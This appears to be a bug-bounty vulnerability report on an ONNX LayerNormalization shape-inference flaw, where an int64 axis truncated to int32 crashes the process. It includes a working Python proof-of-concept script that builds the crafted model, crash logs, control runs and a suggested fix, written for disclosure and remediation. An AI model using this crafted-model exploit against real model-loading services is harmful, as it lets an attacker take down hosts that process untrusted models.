EnigmaConsultant/huntr-poc-onnx-shapeinf-layernorm-axis-int32-trunc-oob

ONNX LayerNormalization shape inference: unchecked int64 axis truncated to int32 → negative RepeatedPtrField index → SIGSEGV (DoS on model load)

Target

• Project: onnx/onnx (ONNX)
• Version tested: onnx 1.22.0 (release wheel, PyPI), Linux x86_64, CPython
• Vulnerable component: LayerNormalization TypeAndShapeInferenceFunction in onnx/defs/nn/defs.cc (opset-17 schema at line 2598; inference lambda lines ~2634-2688).
• Attack surface: onnx.shape_inference.infer_shapes / infer_shapes_path, routinely called on untrusted .onnx models by loaders, converters and validation pipelines. A single crafted attribute hard-crashes the host process (unrecoverable SIGSEGV, not a Python exception).

Root cause

Inside the LayerNormalization shape-inference lambda, the attacker-controlled int64 axis attribute is only bounds-checked on the low side:

// onnx/defs/nn/defs.cc  (LayerNormalization inference lambda, ~lines 2660-2688)
int64_t axis = getAttribute(ctx, "axis", -1);
if (axis < 0) {
  axis += input_ndim;
}
if (axis < 0) {                       // line ~2665: LOW-side check only
  fail_shape_inference(
      "Unexpected axis value (", axis, ") rank of first input is ", input_ndim);
}

// ... no upper-bound check against input_ndim ...

if (ctx.getNumOutputs() > 1) {        // Mean output present
  auto mean_shape = ctx.getOutputType(1)->mutable_tensor_type()->mutable_shape();
  mean_shape->CopyFrom(input_shape);
  for (int d = static_cast<int>(axis); d < input_ndim; ++d)      // lines ~2678-2679
    mean_shape->mutable_dim(d)->set_dim_value(1);
}
if (ctx.getNumOutputs() > 2) {        // InvStdDev output present
  auto inv_std_dev_shape = ctx.getOutputType(2)->mutable_tensor_type()->mutable_shape();
  inv_std_dev_shape->CopyFrom(input_shape);
  for (int d = static_cast<int>(axis); d < input_ndim; ++d)      // lines ~2685-2686
    inv_std_dev_shape->mutable_dim(d)->set_dim_value(1);
}

There is no upper-bound check of axis against input_ndim. Worse, the loop index is computed as static_cast<int>(axis) — an int64 → int32 narrowing.

A positive int64 axis >= 2^31 (e.g. 2147483648) passes the axis < 0 check as an int64, but static_cast<int>(2147483648) truncates to INT_MIN = -2147483648. The loop condition d < input_ndim (d starts at -2147483648, input_ndim = 3) is therefore true, and the body executes:

mean_shape->mutable_dim(-2147483648)->set_dim_value(1);

protobuf RepeatedPtrField::Mutable(index) performs no bounds check in release wheels (its DCHECK(index >= 0) is compiled out with NDEBUG). It indexes elements_[-2147483648] — an enormous negative offset far outside the backing array — and dereferences it → SIGSEGV.

The fault requires the optional Mean (output 1) and/or InvStdDev (output 2) output(s) so that ctx.getNumOutputs() > 1; with only the primary Y output the vulnerable loops are never entered.

Proof of Concept

ln_poc.py — build a single-node LayerNormalization model:

• inputs X:[2,3,4], Scale:[4]
• three outputs Y, Mean, InvStdDev (so getNumOutputs() > 1)
• attribute axis = 2147483648 (= 2^31, positive int64, truncates to INT_MIN)
• opset 17

Then call onnx.shape_inference.infer_shapes(model, strict_mode=True). The process dies with SIGSEGV — there is no catchable Python exception.

import sys, onnx
from onnx import helper, TensorProto
import onnx.shape_inference as si

axis = 2147483648
X = helper.make_tensor_value_info("X", TensorProto.FLOAT, [2, 3, 4])
S = helper.make_tensor_value_info("S", TensorProto.FLOAT, [4])
Y = helper.make_tensor_value_info("Y", TensorProto.FLOAT, None)
M = helper.make_tensor_value_info("M", TensorProto.FLOAT, None)
I = helper.make_tensor_value_info("I", TensorProto.FLOAT, None)
node = helper.make_node("LayerNormalization", ["X", "S"], ["Y", "M", "I"], axis=axis)
g = helper.make_graph([node], "ln", [X, S], [Y, M, I])
m = helper.make_model(g, opset_imports=[helper.make_opsetid("", 17)])
si.infer_shapes(m, strict_mode=True)   # -> SIGSEGV

Captured evidence (verbatim, onnx 1.22.0, Linux x86_64)

=== TRIGGER axis=2147483648 (3 outputs) ===
onnx 1.22.0 axis = 2147483648
calling infer_shapes(strict_mode=True)...
exit=139
[subprocess signal capture] returncode: -11 ; killed by signal: 11 SIGSEGV

=== NEG CONTROL axis=1 ===
onnx 1.22.0 axis = 1
calling infer_shapes(strict_mode=True)...
RETURNED (no crash). Mean shape: 2 1 1   (exit=0)

=== NEG CONTROL axis=5 (missing-upper-bound gap, no int overflow) ===
onnx 1.22.0 axis = 5
calling infer_shapes(strict_mode=True)...
RETURNED (no crash). Mean shape: 2 3 4   (exit=0)

=== ROOT-CAUSE CONTROL axis=2147483648 but 1 output (loops skipped) ===
onnx 1.22.0 axis = 2147483648 (1 output)
RETURNED (no crash) Y: 2 3 4   (exit=0)

Why the controls matter

• axis=1 (in-range): normal behaviour, Mean shape 2 1 1, exit 0 — baseline that inference works.
• axis=5 (out of range but NOT int-overflowing): exit 0, Mean shape 2 3 4. This proves the crash is not merely "axis out of range" — a large positive int that still fits in int32 just makes the loop body not execute (d = 5, 5 < 3 is false). The missing upper-bound check alone is not sufficient to crash.
• axis=2147483648 with only 1 output: exit 0, Y shape 2 3 4. Same overflowing axis, but the getNumOutputs()>1 Mean/InvStdDev loops are skipped, so mutable_dim(negative) is never called. This isolates the fault to the int32-truncated negative index inside those loops.

Together the trigger + three controls pin the root cause precisely: the crash requires both (a) the int64→int32 truncation of axis to a negative value and (b) at least the Mean output being present.

Impact

Denial of service. onnx.shape_inference.infer_shapes / infer_shapes_path are commonly invoked on attacker-supplied .onnx files (model hubs, conversion services, CI validators, inference-server model-load paths). A single crafted attribute in an otherwise-valid model causes an unrecoverable process crash (SIGSEGV) that cannot be caught in Python, taking down the hosting process.

Suggested fix

Add an upper-bound check on axis and avoid the narrowing cast, e.g.:

if (axis < 0 || axis >= input_ndim) {
  fail_shape_inference("Unexpected axis value (", axis, ") rank of first input is ", input_ndim);
}
for (int64_t d = axis; d < input_ndim; ++d)   // keep int64, no static_cast<int>
  mean_shape->mutable_dim(static_cast<int>(d))->set_dim_value(1);

Dedup / prior-art note

This is a distinct root cause from other ONNX shape-inference DoS findings in this series (e.g. OneHot depth OOB, TreeEnsemble leaf-weights OOB, DepthToSpace / Attention SIGFPE, Split num_outputs OOB, GatherND batch_dims OOB, SplitToSequence SIGFPE, Einsum ellipsis OOB). Those affect different operators/lambdas. The specific mechanism here — an int64→int32 truncation of a positive axis attribute producing a negative RepeatedPtrField index in LayerNormalization's Mean/InvStdDev loops — has not, to our knowledge, been reported as a CVE or prior finding. No CVE currently maps to this operator's axis handling in shape inference.